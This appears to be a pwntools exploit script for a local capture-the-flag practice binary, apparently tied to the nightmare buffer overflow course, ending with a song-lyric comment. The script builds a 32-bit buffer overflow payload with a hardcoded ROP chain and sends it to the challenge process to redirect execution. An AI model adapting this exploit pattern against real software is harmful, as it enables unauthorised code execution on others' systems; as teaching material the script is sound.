# +------------------------------------------------+
# | Atack: Bof System                              |
# +------------------------------------------------+
#
# For more info checkout: https://github.com/guyinatuxedo/nightmare/tree/master/modules/05-bof_callfunction

from pwn import *

import sf

target = process("./chall-test_BofFunc-02-x86")
gdb.attach(target)

bof_payload = sf.BufferOverflow(arch=32)

bof_payload.set_input_start(0x20)
rop_chain = [134513456, b'0000', 134514076]
bof_payload.add_rop_chain(rop_chain)
payload = bof_payload.generate_payload()
target.sendline(payload)


target.interactive()

# +------------------------------------------------+
# | Artist: Five Finger Death Punch                |
# +------------------------------------------------+
# | Song: Coming Down                              |
# +------------------------------------------------+
# | I'm                                            |
# | Coming Down                                    |
# +------------------------------------------------+

